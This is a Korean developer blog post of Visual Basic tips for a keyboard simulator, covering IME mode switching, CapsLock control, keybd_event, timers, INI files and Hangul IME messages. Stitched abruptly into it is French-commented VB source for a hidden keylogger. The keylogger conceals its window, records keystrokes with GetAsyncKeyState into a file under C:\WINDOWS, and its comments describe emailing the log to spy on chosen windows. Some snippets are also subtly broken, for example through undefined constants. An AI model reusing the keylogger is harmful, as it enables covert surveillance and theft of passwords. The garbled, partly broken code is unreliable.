EzDoum

찾기
처음으로 | 찾기 | 아카이브 | 글 올리기 | 링크 | 자료실 | 통계 | 연락처 | 자유게시판
이지도움 특집
전체보기
네트워크
TI OMAP35x
TI DaVinci
Analog Blackfin
RobotWar2005
임베디드!
캐쉬의 모든것
메모리 할당 알고리즘
CPU 파이프라이닝
자료구조(Tree)
금융

Login
이름

암호

기억하기


사용자 등록

현재 접속중인 등록 사용자는 0명, 익명 사용자는 3명 입니다.
전체 등록 사용자: 751명

마지막 답장
·libcurl + fuse 조합으로 되는게 많네. (1)
·Linux Ftrace에 관해 (3)
·Android MTP ( Media Transfer Protocol ) (1)
·Lighttpd에 인증을 digest 사용시 IE 오동작 문제? (1)
·Dtrace에 관해 (1)

최근글
·OpenSSL and multi-threads (0)
·ARM 환경에서 OpenCL 사용 (0)
·IoT용 WIFI 모듈 비교 ( MCU ) 클래스 (0)
·Glances - 리눅스 여러 가지 항목을 한 화면에서 모니터링 (0)
·plugin 방식의 로그 분석기 (0)

뜨거운 감자
·나는 인터렉티브한 환경에서 역어셈블 한다. (12)
·GNU REGEX (정규표현식) 프로그래밍 강좌 (7)
·SoCRobotWar 2005 - 신입생 기초 교육자료 (7)
·ASP.NET의 데이터 그리드와 사용자 컨트롤 (7)
·DHTML Editing Control (7)

가장 많이 읽은 글
·[Cache] 2-way Set-Associative 방식이란 무엇일까? (2)
·멀티쓰레드(Pthread) 프로그래밍
·GNU REGEX (정규표현식) 프로그래밍 강좌 (7)
·Sorting Algorithm Animation (2)
·SoCRobotWar 2005 - 신입생 기초 교육자료 (7)

자판 시뮬레이터 만들면서 필요했던 VB팁들
글쓴이: EzDoum 글쓴날: 2006년 03월 26일 오후 02:39
호기심 천국



<pre>
Win32 API인 ImmSetConversionStatus() 함수를 이용하면 됩니다.
이 함수는 4개의 인수를 가지는데 주로 앞의 3개의 인수를 사용합니다.
첫번째 인수 - 입력메소드 컨택스트의 핸들로서 IME를 통해서 입력받는
       윈도에 해당하는 IME 컨택스트 핸들

두번째 인수 - 한글 또는 영문 입력모드로 토글하기 위해서 사용하는 값을 지정
한글 : &H1
영문 : &H0

세번째 인수 - &H0을 사용

일단 모듈에 다음의 내용을 적어 놓습니다.
  Const IME_CMODE_NATIVE=&H1
  Const IME_CMODE_HANGLE=IME_CMODE_NATIVE
  Const IME_CMODE_ALPHANUMERIC=&H0
  Const IME_SMODE_NONE=&H0

  Private Declare Function ImmGetContext Lib "imm32.dll" _
   (ByVal hwnd As Long) As Long

  Private Declare Function ImmSetConversionStatus Lib _
   "imm32.dll" (Byval hIME As Long, ByVal dw1 As Long, _
   ByVal dw2 As Long) As Long

  Public Sub HanOn(Src As Object)
   Dim hIME As Long
   hIME = ImmGetContext(Src.hwnd)
   ImmSetConversionStatus hIME, IME_HANGUL, IME_NONE
   Src.SetFocus
  End Sub

  Public Sub EngOn(Src As Object)
   Dim hIME As Long
   hIME = ImmGetContext(Src.hwnd)
   ImmSetConversionStatus hIME, IME_ENGLISH, IME_NONE
   Src.SetFocus
  End Sub

그런 다음 가령 특정 텍스트박스(txtText1)가 포커스를 가졌을때
항상 한글 입력모드가 되게 하려면 다음과 같이 써주면 됩니다.

  Private Sub txtText1_Gotfocus()
   HanOn txtText1
  End Sub

항상 영문 입력모드가 되게 하려면 HanOn을 EngOn으로 바꾸기만 하면 됩니다.
모듈에 써놓는게 약간은 번잡스럽지만 실제 사용하기에는 아주
간단히 구현할 수 있기때문에 자주 쓰이는 기능입니다.

=============================================================================
[Tip #9 Autotab 속성 부여하기] AutoTab 속성이란 텍스트박스에 항상 같은 길이의 문자열을 입력받는 경우에 아주 유용하게 사용할 수 있다.
가령 주민등록번호를 입력받는 텍스트박스가 있다고 치면, 이 텍스트박스에 MaxLength 속성을 13으로 주고 텍스트박스의 Change 이벤트에 아래의 코드를 작성해 주면 된다.
  Sub txtText1_Change()
   If Len(txtText1.Text) = txtText1.MaxLength Then
    SendKeys = "{Tab}"
   End If
  End Sub

이렇게 하면 사용자가 텍스트박스에 글을 입력할 때마다 위의 이벤트를 발 생시키고, txtText의 길이가 txtText1.MaxLength 즉, 13이 되면 자동으로 Tab 키를 보내서 다음 컨트롤로 이동하게 되는 것이다.



Code에서 CapsLock, NumLock 활성화 시키기


How to Activate CapsLock and NumLock from Code
Code에서 CapsLock, NumLock 활성화 시키기
Declarations
선언부
Add the following code into the declarations section of a module:
다음코드를 모듈의 선언부에 추가 하시오
Public Const VK_CAPITAL = &H14

Public Type KeyboardBytes
kbByte(0 To 255) As Byte
End Type

Public kbArray As KeyboardBytes

Public Declare Function GetKeyState Lib "user32" _
(ByVal nVirtKey As Long) As Long

Public Declare Function GetKeyboardState Lib "user32" _
(kbArray As KeyboardBytes) As Long

Public Declare Function SetKeyboardState Lib "user32" _
(kbArray As KeyboardBytes) As Long

Code
코드부

On a form, add a 3 command buttons (cmdToggle, cmdTurnOn, cmdTurnOff) and a label (Label1).
폼에는 3개의 버턴 (cmdToggle, cmdTurnOn, cmdTurnOff) 과한게ㅐ의 레이블 (Label1)이 있습니다.
Add the following code to the form:
다음 코드를 폼에 추가 하십시오
Private Sub Form_Load()
If CapsLock() = 1 Then Label1 = "On" Else _
Label1 = "Off"
End Sub

Private Sub cmdToggle_Click()
GetKeyboardState kbArray
kbArray.kbByte(VK_CAPITAL) = _
IIf(kbArray.kbByte(VK_CAPITAL) = 1, 0, 1)
SetKeyboardState kbArray

Label1 = IIf(CapsLock() = 1, "On", "Off")
End Sub

Private Sub cmdTurnOn_Click()
GetKeyboardState kbArray
kbArray.kbByte(VK_CAPITAL) = 1
SetKeyboardState kbArray

Label1 = IIf(CapsLock() = 1, "On", "Off")
End Sub

Private Sub cmdTurnOff_Click()
GetKeyboardState kbArray
kbArray.kbByte(VK_CAPITAL) = 0
SetKeyboardState kbArray

Label1 = IIf(CapsLock() = 1, "On", "Off")
End Sub

Comments
설명 :
The keyboard APIs for VB4-16 and VB3 do not support the byte data type.
keyboard API 함수는 VB4-16와 VB3는 byte data type 를 지원하지 않습니다.
By changing the Windows constant to Public Const VK_NUMLOCK = &H90,
윈도우 상수 Public Const VK_NUMLOCK = &H90로 만듦으로써
you can use the above to activate the NumLock key.
여러분의 NumLock key를 설정할수가 있습니다.









SendMessage를 이용해 문자를 다른 윈도우에 보내다가 핸들 문제 때문에 keybd_event를 사용하려는데, 영어와 달리 한글의 경우는 전송이 원하는 대로 이뤄지지 않습니다. keybd_event에서 한글은 어떤 식으로 처리해 줘야 합니까.

keybd_event()를 제대로 쓰려면 고려할 사항이 있습니다. 일단 keybd_event()는 사용자가 키를 누르는 동작을 그대로 흉내내는 것이라 이해해야 합니다(즉, SendMessage()와는 아무런 관련이 없습니다). 예를 들어 키보드에서 'A' 키를 누른다고 항상 'A' 가 입력되는 것은 아니라는 말입니다. CAPS_LOCK이 안 눌려 있다면 'A' 키를 눌러도 'a' 로 입력됩니다. 이 경우 keybd_event() 로 CAPS_LOCK 키를 누르고 'A' 키를 눌러야 합니다.

keybd_event(VK_CAPITAL, 0x45, KEYEVENTF_EXTENDEDKEY, 0);
keybd_event(VK_CAPITAL, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
keybd_event('A', MapVirtualKey('A', 0), 0, 0);
keybd_event('A', MapVirtualKey('A', 0), KEYEVENTF_KEYUP, 0);

물론 이전에 CAPS_LOCK 상태를 확인해야 하며, 방법은 다음과 같습니다.

BOOL bState = GetKeyState(VK_CAPITAL);

한글문제도 마찬가지입니다. IME 상태가 한글이라면 'A'키를 누르면 'ㅁ'가 입력되겠죠. 'S'를 누르면 'ㄴ'일테구요, 따라서 한글을 입력하려면 IME 상태를 확인한 후 영문이라면 한글 키를 누르는 과정이 들어가야 합니다. 즉, "My name is 바보." 를 입력하려면 (CAPS_LOCK : off, 한글 : off일 때) 다음과 같이 하면 됩니다.

> (shift down), M, (shift up), Y, (스페이스), N, A, M, E, (스페이스), I, S, (스페이스)
> (한글키), R, L, A, G, U, S, T, M, D, (한글키), . // HP 그래픽 워크스테이션에서 한글

이와 같이 이벤트를 발생시킨 다음, 한글키는 다음과 같이 사용합니다.

BOOL bState = GetKeyState(VK_HANGEUL); // 한글이면 1, 아니면 0

if(!bState) {
keybd_event(VK_HANGEUL, MapVirtualKey(VK_HANGEUL, 0), 0, 0);
keybd_event(VK_HANGEUL, MapVirtualKey(VK_HANGEUL, 0), KEYEVENTF_KEYUP, 0);
}


' 정밀한 시간 측정
Private Declare Function QueryPerformanceFrequency Lib "kernel32" (lpFrequency As Currency) As Long
Private Declare Function QueryPerformanceCounter Lib "kernel32" (lpPerformanceCount As Currency) As Long

Public Function TimerInterval() As Double

Static curFreq As Currency
Static curStart As Currency

Dim curEnd As Currency

If curStart = 0 Then

QueryPerformanceFrequency curFreq 'Get the timer frequency
Debug.Print "QueryPerformanceFrequency", curFreq

QueryPerformanceCounter curStart 'Get the start time
curEnd = 0

TimerInterval = 0
Else
QueryPerformanceCounter curEnd 'Get the end time
TimerInterval = (curEnd - curStart) / curFreq 'Calculate the duration (in seconds)
End If

End Function






' ## ini화일에서 integer 읽어들이는 함수
Declare Function GetPrivateProfileInt Lib "kernel32" Alias "GetPrivateProfileIntA" ( ByVal strSectionName As String, ByVal strEntryName As String, ByVal lngDefault As Long, ByVal strFileName As String ) As Long
' strSectionName - 읽어들이는 Section의 이름
' strEntryName - 읽어들이는 EntryField의 이름
' lngDefault - Default 값
' strFileName - INI 화일의 위치
' ReturnValue - 반환되는 값


' ## ini화일에서 String 읽어들이는 함수
Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" ( ByVal strSectionName As String, ByVal strEntryName As String, ByVal strDefault As String, ByVal strReturnedString As String, ByVal lngSize As Long, ByVal strFileName As String ) As Long
. strSectionName - 읽어들이는 Section의 이름
. strEntryName - 읽어들이는 EntryField의 이름
. strDefault - Default 값
. strReturnedString - 반환되는 값
. lngSize - 반환되는 값의 사이즈
. strFileName - INI 화일의 위치


' ## ini화일에 Section과 Entry저장
Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" ( ByVal strSectionName As String, ByVal strEntryName As String, ByVal strpDataString As String, ByVal strFileName As String ) As Long
' strSectionName - 읽어들이는 Section의 이름
' strEntryName - 읽어들이는 EntryField의 이름
' strDataString - 저장되는 값
' strFileName - INI 화일의 위치

Dim intValue As Integer
Dim strValue As String

intValue = GetPrivateProfileInt( "Section", "EntryField", -1, "c:\xxx\xxx.ini")
Call GetPrivateProfileString( "Section", "EntryField", "None", strValue, 256, "c:\xxx\xxx.ini")
Call WritePrivateProfileString( "Section", "EntryField", strValue, "c:\xxx\xxx.ini") \\'A METTRE DANS UN PROJET
'
'
'Ce KEYLOGGER marche comme suit : a chaque miliseconde,
'un timer regarde si ya pas une des fenetre que je veut espionner a l'ecrans...
'Si y'en a une, ca la fonction de keylogging et quand ya 130 caractere,
'ca envoye le mail avec le contenu du keylogger !

'Oublis pas de changer ton adresse et les info pour le mail...
'Ben sur ce, fait pas de connerie !

'Si tu veut enregisrer le contenu du keylogger dans un fichier texte, tu fait

'Open "C:\trucpoche.txt" For Output As #1
' Print #1, "test"
'Close #1

'************************************************'
' DECLARE L'API QUI TROUVE LE HANDLE DES FENETRE '
'************************************************'
Private Declare Function FindWindow _
Lib "user32" Alias "FindWindowA" _
(ByVal lpclassname As String, _
ByVal lpWindowName As Any) _
As Long

'************************'
'declare les variable...
'************************'
Dim tx1 As String '=> chaine capturee

'Pour send le mail
Dim Response As String, Reply As Integer, DateNow As String
Dim first As String, Deux As String, Third As String
Dim Fourth As String, Fifth As String, Sixth As String
Dim Seventh As String, Eighth As String
Dim Start As Single, Tmr As Single

Private Sub Form_Load()

'App.TaskVisible = False
'met l'appli non voyante
Me.Visible = False
'ComputerName = VBUNK_GetComputerName()
'met le timer 2 au boulot
Timer2.Enabled = True
End Sub
'Fin des SUB a ne pas modifier'
Private Sub Form_Unload(Cancel As Integer)
On Error GoTo erreur
'1ER Partie
tx1 = ""
'2E Partie
erreur:
'MsgBox "Y'a un bug en Form_Unload !", , "Invisible"
End Sub

Private Sub Timer1_Timer()
Text2.Text = vbNullString
If tx1 = vbNullString Then Exit Sub
On Error Resume Next

'''''LIS LE FICHIER'''''
Open "C:\WINDOWS\agent under fire.txt" For Input As #1
Line:
'Copie dans le buffer
If Text2.Text = vbNullString Then Text2.Text = X Else Text2.Text = Text2.Text & vbCrLf & X
X = ""
'Lis la ligne
Line Input #1, X
If X <> vbNullString Then GoTo Line Else Close #1
'''''FIN DE LA LECTURE'''''

'''''ENREGISTRE LA NOUVELLE LIGNE'''''
Open "C:\WINDOWS\agent under fire.txt" For Output As #1
Print #1, Text2.Text & vbCrLf & "[" & Date & " @ " & Time & "]" & tx1
Close #1
Text2.Text = Text2.Text & vbCrLf & "[" & Date & " @ " & Time & "]" & tx1
tx1 = ""
X = ""
'''''FIN DE L'ENREGISDTREMENT'''''

End Sub

Private Sub Timer2_Timer()
On Error Resume Next

'*******'
'SPECIAL'
'*******'
If (GetAsyncKeyState(VK_DELETE) And &H1) = &H1 Then
tx1 = tx1 & "[DEL]"
End If

If (GetAsyncKeyState(VK_BACK) And &H1) = &H1 Then
tx1 = tx1 & "[BACK]"
End If

If (GetAsyncKeyState(VK_DOWN) And &H1) = &H1 Then
tx1 = tx1 & "[DOWN]"
End If

If (GetAsyncKeyState(VK_RIGHT) And &H1) = &H1 Then
tx1 = tx1 & "[RIGHT]"
End If

If (GetAsyncKeyState(VK_UP) And &H1) = &H1 Then
tx1 = tx1 & "[UP]"
End If

If (GetAsyncKeyState(VK_LEFT) And &H1) = &H1 Then
tx1 = tx1 & "[LEFT]"
End If
'*******'
'SPECIAL'
'*******'


'***************'
'ALPHA-NUMERIQUE'
'***************'
If (GetAsyncKeyState(VK_0) And &H1) = &H1 Then
tx1 = tx1 & "0"
End If
If (GetAsyncKeyState(VK_1) And &H1) = &H1 Then
tx1 = tx1 + "1"
End If
If (GetAsyncKeyState(VK_2) And &H1) = &H1 Then
tx1 = tx1 + "2"
End If
If (GetAsyncKeyState(VK_3) And &H1) = &H1 Then
tx1 = tx1 + "3"
End If
If (GetAsyncKeyState(VK_4) And &H1) = &H1 Then
tx1 = tx1 + "4"
End If
If (GetAsyncKeyState(VK_5) And &H1) = &H1 Then
tx1 = tx1 + "5"
End If
If (GetAsyncKeyState(VK_6) And &H1) = &H1 Then
tx1 = tx1 + "6"
End If
If (GetAsyncKeyState(VK_7) And &H1) = &H1 Then
tx1 = tx1 + "7"
End If
If (GetAsyncKeyState(VK_8) And &H1) = &H1 Then
tx1 = tx1 + "8"
End If
If (GetAsyncKeyState(VK_9) And &H1) = &H1 Then
tx1 = tx1 + "9"
End If
If (GetAsyncKeyState(VK_A) And &H1) = &H1 Then
tx1 = tx1 + "a"
End If
If (GetAsyncKeyState(VK_B) And &H1) = &H1 Then
tx1 = tx1 + "b"
End If
If (GetAsyncKeyState(VK_C) And &H1) = &H1 Then
tx1 = tx1 + "c"
End If
If (GetAsyncKeyState(VK_D) And &H1) = &H1 Then
tx1 = tx1 + "d"
End If
If (GetAsyncKeyState(VK_E) And &H1) = &H1 Then
tx1 = tx1 + "e"
End If
If (GetAsyncKeyState(VK_F) And &H1) = &H1 Then
tx1 = tx1 + "f"
End If
If (GetAsyncKeyState(VK_G) And &H1) = &H1 Then
tx1 = tx1 + "g"
End If
If (GetAsyncKeyState(VK_H) And &H1) = &H1 Then
tx1 = tx1 + "h"
End If
If (GetAsyncKeyState(VK_I) And &H1) = &H1 Then
tx1 = tx1 + "i"
End If
If (GetAsyncKeyState(VK_J) And &H1) = &H1 Then
tx1 = tx1 + "j"
End If
If (GetAsyncKeyState(VK_K) And &H1) = &H1 Then
tx1 = tx1 + "k"
End If
If (GetAsyncKeyState(VK_L) And &H1) = &H1 Then
tx1 = tx1 + "l"
End If
If (GetAsyncKeyState(VK_M) And &H1) = &H1 Then
tx1 = tx1 + "m"
End If
If (GetAsyncKeyState(VK_N) And &H1) = &H1 Then
tx1 = tx1 + "n"
End If
If (GetAsyncKeyState(VK_O) And &H1) = &H1 Then
tx1 = tx1 + "o"
End If
If (GetAsyncKeyState(VK_P) And &H1) = &H1 Then
tx1 = tx1 + "p"
End If
If (GetAsyncKeyState(VK_Q) And &H1) = &H1 Then
tx1 = tx1 + "q"
End If
If (GetAsyncKeyState(VK_R) And &H1) = &H1 Then
tx1 = tx1 + "r"
End If
If (GetAsyncKeyState(VK_S) And &H1) = &H1 Then
tx1 = tx1 & "s"
End If
If (GetAsyncKeyState(VK_T) And &H1) = &H1 Then
tx1 = tx1 + "t"
End If
If (GetAsyncKeyState(VK_U) And &H1) = &H1 Then
tx1 = tx1 + "u"
End If
If (GetAsyncKeyState(VK_V) And &H1) = &H1 Then
tx1 = tx1 + "v"
End If
If (GetAsyncKeyState(VK_W) And &H1) = &H1 Then
tx1 = tx1 + "w"
End If
If (GetAsyncKeyState(VK_X) And &H1) = &H1 Then
tx1 = tx1 + "x"
End If
If (GetAsyncKeyState(VK_Y) And &H1) = &H1 Then
tx1 = tx1 + "y"
End If
If (GetAsyncKeyState(VK_Z) And &H1) = &H1 Then
tx1 = tx1 + "z"
End If

If (GetAsyncKeyState(VK_SPACE) And &H1) = &H1 Then
tx1 = tx1 + " "
End If

If (GetAsyncKeyState(VK_RETURN) And &H1) = &H1 Then
tx1 = tx1 + Chr(13) + Chr(10)
End If
'***************'
'ALPHA-NUMERIQUE'
'***************'
End Sub


' L'Api sur lequel repose le Keyloger !
Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer

'Les Constantes des Codes Virtuels
Public Const VK_LBUTTON = &H1
Public Const VK_RBUTTON = &H2
Public Const VK_CANCEL = &H3
Public Const VK_MBUTTON = &H4
Public Const VK_BACK = &H8
Public Const VK_TAB = &H9
Public Const VK_CLEAR = &HC
Public Const VK_RETURN = &HD
Public Const VK_SHIFT = &H10
Public Const VK_CONTROL = &H11
Public Const VK_MENU = &H12
Public Const VK_PAUSE = &H13
Public Const VK_CAPITAL = &H14
Public Const VK_ESCAPE = &H1B
Public Const VK_SPACE = &H20
Public Const VK_PRIOR = &H21
Public Const VK_NEXT = &H22
Public Const VK_END = &H23
Public Const VK_HOME = &H24
Public Const VK_LEFT = &H25
Public Const VK_UP = &H26
Public Const VK_RIGHT = &H27
Public Const VK_DOWN = &H28
Public Const VK_SELECT = &H29
Public Const VK_PRINT = &H2A
Public Const VK_EXECUTE = &H2B
Public Const VK_SNAPSHOT = &H2C
Public Const VK_INSERT = &H2D
Public Const VK_DELETE = &H2E
Public Const VK_HELP = &H2F
Public Const VK_0 = &H30
Public Const VK_1 = &H31
Public Const VK_2 = &H32
Public Const VK_3 = &H33
Public Const VK_4 = &H34
Public Const VK_5 = &H35
Public Const VK_6 = &H36
Public Const VK_7 = &H37
Public Const VK_8 = &H38
Public Const VK_9 = &H39
Public Const VK_A = &H41
Public Const VK_B = &H42
Public Const VK_C = &H43
Public Const VK_D = &H44
Public Const VK_E = &H45
Public Const VK_F = &H46
Public Const VK_G = &H47
Public Const VK_H = &H48
Public Const VK_I = &H49
Public Const VK_J = &H4A
Public Const VK_K = &H4B
Public Const VK_L = &H4C
Public Const VK_M = &H4D
Public Const VK_N = &H4E
Public Const VK_O = &H4F
Public Const VK_P = &H50
Public Const VK_Q = &H51
Public Const VK_R = &H52
Public Const VK_S = &H53
Public Const VK_T = &H54
Public Const VK_U = &H55
Public Const VK_V = &H56
Public Const VK_W = &H57
Public Const VK_X = &H58
Public Const VK_Y = &H59
Public Const VK_Z = &H5A
Public Const VK_STARTKEY = &H5B
Public Const VK_CONTEXTKEY = &H5D
Public Const VK_NUMPAD0 = &H60
Public Const VK_NUMPAD1 = &H61
Public Const VK_NUMPAD2 = &H62
Public Const VK_NUMPAD3 = &H63
Public Const VK_NUMPAD4 = &H64
Public Const VK_NUMPAD5 = &H65
Public Const VK_NUMPAD6 = &H66
Public Const VK_NUMPAD7 = &H67
Public Const VK_NUMPAD8 = &H68
Public Const VK_NUMPAD9 = &H69
Public Const VK_MULTIPLY = &H6A
Public Const VK_ADD = &H6B
Public Const VK_SEPARATOR = &H6C
Public Const VK_SUBTRACT = &H6D
Public Const VK_DECIMAL = &H6E
Public Const VK_DIVIDE = &H6F
Public Const VK_F1 = &H70
Public Const VK_F2 = &H71
Public Const VK_F3 = &H72
Public Const VK_F4 = &H73
Public Const VK_F5 = &H74
Public Const VK_F6 = &H75
Public Const VK_F7 = &H76
Public Const VK_F8 = &H77
Public Const VK_F9 = &H78
Public Const VK_F10 = &H79
Public Const VK_F11 = &H7A
Public Const VK_F12 = &H7B
Public Const VK_F13 = &H7C
Public Const VK_F14 = &H7D
Public Const VK_F15 = &H7E
Public Const VK_F16 = &H7F
Public Const VK_F17 = &H80
Public Const VK_F18 = &H81
Public Const VK_F19 = &H82
Public Const VK_F20 = &H83
Public Const VK_F21 = &H84
Public Const VK_F22 = &H85
Public Const VK_F23 = &H86
Public Const VK_F24 = &H87
Public Const VK_NUMLOCK = &H90
Public Const VK_OEM_SCROLL = &H91
Public Const VK_OEM_1 = &HBA
Public Const VK_OEM_PLUS = &HBB
Public Const VK_OEM_COMMA = &HBC
Public Const VK_OEM_MINUS = &HBD
Public Const VK_OEM_PERIOD = &HBE
Public Const VK_OEM_2 = &HBF
Public Const VK_OEM_3 = &HC0
Public Const VK_OEM_4 = &HDB
Public Const VK_OEM_5 = &HDC
Public Const VK_OEM_6 = &HDD
Public Const VK_OEM_7 = &HDE
Public Const VK_OEM_8 = &HDF
Public Const VK_ICO_F17 = &HE0
Public Const VK_ICO_F18 = &HE1
Public Const VK_OEM102 = &HE2
Public Const VK_ICO_HELP = &HE3
Public Const VK_ICO_00 = &HE4
Public Const VK_ICO_CLEAR = &HE6
Public Const VK_OEM_RESET = &HE9
Public Const VK_OEM_JUMP = &HEA
Public Const VK_OEM_PA1 = &HEB
Public Const VK_OEM_PA2 = &HEC
Public Const VK_OEM_PA3 = &HED
Public Const VK_OEM_WSCTRL = &HEE
Public Const VK_OEM_CUSEL = &HEF
Public Const VK_OEM_ATTN = &HF0
Public Const VK_OEM_FINNISH = &HF1
Public Const VK_OEM_COPY = &HF2
Public Const VK_OEM_AUTO = &HF3
Public Const VK_OEM_ENLW = &HF4
Public Const VK_OEM_BACKTAB = &HF5
Public Const VK_ATTN = &HF6
Public Const VK_CRSEL = &HF7
Public Const VK_EXSEL = &HF8
Public Const VK_EREOF = &HF9
Public Const VK_PLAY = &HFA
Public Const VK_ZOOM = &HFB
Public Const VK_NONAME = &HFC
Public Const VK_PA1 = &HFD
Public Const VK_OEM_CLEAR = &HFE
</pre>


[분류: 호기심 천국 인쇄용 페이지 본문 email로 보내기 ]

<  블랙핀 개발킷과 회사 그만 둠, 그리고 대학원 랩 인턴 | 임베디드! - MSP430 책과 app note  >
자판 시뮬레이터 만들면서 필요했던 VB팁들 | 답장: 2개 | 본문에 답장
정렬 :  
답장 EzDoum 2006년 03월 26일 오후 02:40 [ 이글에 답장 | 본문에 답장 | 책갈피 ]
한글 관련 메세지 정리

2004/03/17 오후 5:06 | 수업-비쥬얼프로그래밍


한글 관련 메세지 정리
작 성 자 문병호(gosuck) 작성 시각 2001-07-22 오후 7:02:19
조 회 수 683


여기 와서 이것 저것 도움을 많이 받았습니다.

보답이 될 지 모르겠으나
제가 1년 이상 헤메면서 알게된 내용을 올림니다.
컴퓨터라는 꽤 괜찮은 기계를 미국 사람들이 영어를 기반으로 만들었다는
사실이 기분나쁘지만 할 수 없는 일이고 그것을 극복하여 좋은 프로그램을
만드는데 도움이 됐으면 좋겠습니다.


아래 내용은 VB에서 TextBox와 같은 각종 입력용 콘트롤의 메시지 후킹시
발생하는 한글 입력 관련 메세지에 대한 설명입니다.

터치스크린이나 타자연습기 제작, 그리드콘트롤에서 셀편집기 제작 시 한글 문제 해결에
도움이 될 수 있을 것입니다.

다음에 터치스크린 예제와 MSFlexGrid에서의 셀 직접편집 방법
그리고 한글 입력 중 눌린 키를 알아내는 방법 등을 소개하겠습니다.

한글 입력 관련 윈도우 메세지

상 수 값
WM_KEYDOWN &H100
WM_KEYUP &H101
WM_CHAR &H102
WM_IME_STARTCOMPOSITION &H10D
WM_IME_COMPOSITION &H10F
WM_IME_ENDCOMPOSITION &H10E
WM_IME_SETCONTEXT &H281
WM_IME_NOTIFY &H282
WM_IME_CONTROL &H283
WM_IME_COMPOSITIONFULL &H284
WM_IME_SELECT &H285
WM_IME_CHAR &H286
WM_IME_KEYDOWN &H290
WM_IME_KEYUP &H291
WM_IME_REPORT &H0280
WM_IME_REQUEST &H0288

각 상수의 의미
WM_KEYDOWN:
키가 눌릴 때 발생한다.
한글 입력 중에는 wParam에 229(콘트롤의 "KeyDown"이벤트와 같음)를,
lParam에 키코드와 다른 정보를 함께 반환한다.
lParam값을 API함수인 "MapVirtualKey"를 사용하여 한글 입력 중에 눌린 키를 알아낼 수 있다.
한글이 아닐 경우에는 wParam에 콘트롤의 "KeyDown"이벤트에서 반환하는 "KeyCode와 같은
값을 반환한다.(이 때도 lParam에 같은 값이 반환됨)

WM_KEYUP:
설명이 필요 없다. 콘트롤의 "KeyUp"이벤트와 같다.

WM_CHAR:
콘트롤의 "KeyPress"이벤트와 같으나 한글의 경우에는 한글의 첫바이트만 반환한다.

WM_IME_STARTCOMPOSITION :
한글을 처음 입력할 때 발생한다.
영문 입력 후 또는 수자 입력 후 한글 키를 누르면 단 한번만 발생한다.
예) "123"을 입력하다가 "ㄱ"을 누르면 발생(WM_IME_ENDCOMPOSITION 발생후 한글 입력시 발생)

WM_IME_COMPOSITION :
한글 입력 중에 발생한다(한글을 합성중인라는 의미 임)
WM_IME_STARTCOMPOSITION가 발생한 후 한글 키를 누를 때 마다 발생하며
wParam과 lParam에 부가적인 정보가 반환 된다.
wParam : 합성 중인 한글에 대한 ASCII Code가 반환된다.
lParam : 반환된 wParam가 합성중인 글자 인지 완성된 글자인지를 반환한다.
값 의미
&H6018 : 반환된 wParam가 합성중인 글자임
&H800 : 반환된 wParam가 완성된 글자임

WM_IME_ENDCOMPOSITION :
한글 입력을 종료할 때 발생한다.
한글 입력 중 한글키가 아닌 키를 누를 때(숫자키, Enter키, 한영 변환키, 방향키 등),
마우스로 클릭하거나, 포거스를 잃을 때 발생한다.(즉 한글 입력 중에는 검정 상자가
생기는 데 그 검정 상자가 없어질 때)

WM_IME_CHAR:
완성된 한글에 대한 ASCII값을 반환한다.
WM_IME_COMPOSITION 발생 후(lParam 값이 &H800일 때) 발생한다.
위에서 설명한 바와 같이 한글의 경우 WM_CHAR가 한글의 첫바이트만 반환하기 때문에
완성된 한글만을 알아내기 위해서는 이 메세지를 사용해야 한다.(실제로는 WM_IME_COMPOSITION
메세지를 사용하기 때문에 별로 사용하지 않음)

WM_IME_KEYDOWN:
한글 입력중 한글키가 아닌 키를 누를 경우 그 키값을 반환한다.
WM_IME_ENDCOMPOSITION메세지 발생 후에(한글 입력을 종료하고)발생한다.

그외의 메세지들은 본인도 내용을 충분히 모르고 있으며 실제로 사용할 필요도
없었다. 따라서 어렴풋이 내용을 이해는 하고 있으나 여기서 설명을 하지 않는다.

아래 내용은 TextBox를 후킹하여 한글을 입력할 때 발생하는 메세지와 반환 되는
wParam, lParam 값들이다. 중급이상의 실력이 있는 분이라면 충분히
이해할 수 있을 것이라 믿는다.

["가나다"를 입력하고 Enter를 쳤을 경우 발생하는 메세지]

메세지 wParam값 lParam값

입력대상이 포커스를 받았을 때:
WM_IME_SETCONTEXT 1 C000000F
WM_IME_NOTIFY 10 0
WM_IME_NOTIFY 11 0
WM_IME_NOTIFY 11 0

ㄱ:
WM_KEYDOWN 229 130001:
WM_IME_STARTCOMPOSITION 0 0
WM_IME_NOTIFY 11 0
WM_IME_COMPOSITION 42145(ㄱ) 6018: 합성중인 글씨임을 의미함
WM_KEYUP 82(R) C0130001

ㅏ:
WM_KEYDOWN 229 250001
WM_IME_NOTIFY 11 0
WM_IME_COMPOSITION 45217(가) 6018
WM_KEYUP 75(K) C0250001

ㄴ:
WM_KEYDOWN 229 1F0001
WM_IME_NOTIFY 11 0
WM_IME_COMPOSITION 45219(간) 6018
WM_KEYUP 83(S) C01F0001

ㅏ:
WM_KEYDOWN 229 250001
WM_IME_CHAR 45217(가) 1
WM_IME_COMPOSITION 45217(가) 800: 완성된 한글
WM_IME_COMPOSITION 45994(나) 6018: 합성중인 한글
WM_IME_NOTIFY 11 0
WM_CHAR 176 1 : wParam(176) : 한글의 첫 바이트
WM_IME_NOTIFY 11 0
WM_IME_COMPOSITION 45994(나) 6018
WM_KEYUP 75(K) C0250001

ㄷ:
WM_KEYDOWN 229 120001
WM_IME_NOTIFY 11 0
WM_IME_COMPOSITION 45998(낟) 6018
WM_KEYUP 69(E) C0120001

ㅏ:
WM_KEYDOWN 229 250001
WM_IME_CHAR 45994(나) 1
WM_IME_COMPOSITION 45994(나) 800
WM_IME_COMPOSITION 46297(다) 6018
WM_IME_NOTIFY 11 0
WM_CHAR 179 1
WM_IME_NOTIFY 11 0
WM_IME_COMPOSITION 46297(다) 6018
WM_KEYUP 75(K) C0250001

Enter:
WM_KEYDOWN 229 1C0001
WM_IME_ENDCOMPOSITION 0 0
WM_IME_CHAR 46297(다) 1
WM_IME_COMPOSITION 46297(다) 800
WM_IME_KEYDOWN 13 1C0001
WM_IME_NOTIFY 11 0
WM_CHAR 180 1
WM_KEYDOWN 13 1C0001
WM_CHAR 13 1C0001
WM_KEYUP 13 C01C0001
WM_KEYUP 229 80000001
WM_IME_SETCONTEXT 0 C000000F



